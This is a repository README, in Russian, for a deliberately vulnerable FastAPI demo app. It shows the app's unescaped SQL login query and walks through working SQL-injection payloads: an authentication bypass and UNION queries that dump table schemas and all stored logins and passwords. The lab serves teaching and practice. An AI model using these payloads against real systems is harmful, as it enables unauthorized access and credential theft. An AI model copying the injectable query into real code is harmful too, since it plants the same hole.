OkunElya d448005293 working poc added
MY BRAIN IS MELTIIINNG
2025-12-16 02:26:01 +10:00
2025-12-15 20:43:22 +10:00
2025-12-16 02:15:51 +10:00
2025-12-15 22:44:12 +10:00
2025-12-16 01:55:09 +10:00
2025-12-16 01:55:09 +10:00
2025-12-15 22:27:26 +10:00
2025-12-16 02:26:01 +10:00
2025-12-16 01:55:09 +10:00
2025-12-15 22:27:26 +10:00

Kulesh_Web_app - Уязвимое веб-приложение

Это уязвимое веб-приложение создано для демонстрации SQL-инъекций и других веб-уязвимостей. Приложение написано на Python с использованием FastAPI.

Функциональность приложения

  • Регистрация пользователей
  • Авторизация пользователей
  • Cookie-аутентификация
  • Страница приветствия для авторизованных пользователей
  • Docker-контейнеризация

Сборка и запуск

Сборка Docker-образа

docker build -t kulesh_web-app:v0.0.1a .

Запуск приложения

docker compose up

Приложение будет доступно по адресу: http://localhost:8000

Работа с CURL

Регистрация пользователя Administrator

curl -X POST -d "login=Administrator&password=admin123" http://localhost:8000/register

Регистрация пользователя Kulesh_AS

curl -X POST -d "login=kulesh_as&password=mypass123" http://localhost:8000/register

Авторизация через CURL

curl -X POST -d "login=Administrator&password=admin123" -c cookies.txt http://localhost:8000/login

Доступ к защищенной странице

curl -b cookies.txt http://localhost:8000/welcome

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ

SQL-инъекция через форму авторизации

Приложение содержит критическую SQL-инъекцию в формах регистрации и авторизации. Уязвимый код:

cursor.execute(f"SELECT * FROM users WHERE login='{login}' AND password='{password}'")

Данные пользователя напрямую подставляются в SQL-запрос без экранирования, что позволяет выполнять произвольные SQL-команды.

Базовый обход аутентификации

Payload для поля login:

' OR 1=1--

Поле password: (любое значение)

Этот payload закомментирует проверку пароля и войдет как первый пользователь в базе.

Извлечение информации о базе данных

1. Получение списка подключенных файлов БД:

' UNION SELECT 1, group_concat(name || ':' || file), 3 FROM pragma_database_list --

2. Получение списка пользовательских таблиц:

' UNION SELECT 1, group_concat(name), 3 FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%' --

3. Получение схем всех таблиц:

' UNION SELECT 1, group_concat(sql, char(10) || char(10)), 3 FROM sqlite_master WHERE type='table' --

4. Извлечение всех пользователей и паролей:

' UNION SELECT id, login, password FROM users --

5. Получение данных конкретного пользователя Administrator:

' UNION SELECT id, login, password FROM users WHERE login='Administrator' --

Пошаговая эксплуатация

  1. Откройте форму входа: http://localhost:8000/login

  2. Введите базовый payload для обхода аутентификации:

    • Login: ' OR 1=1--
    • Password: test
  3. Для извлечения данных используйте UNION-based инъекцию:

    • Login: ' UNION SELECT id, login, password FROM users --
    • Password: test
  4. В ответе на странице приветствия вы увидите данные всех пользователей

Description
just a vunerable web app with docker wrapping
Readme 1.2 MiB
Languages
Python 62.4%
Shell 35.5%
Dockerfile 2.1%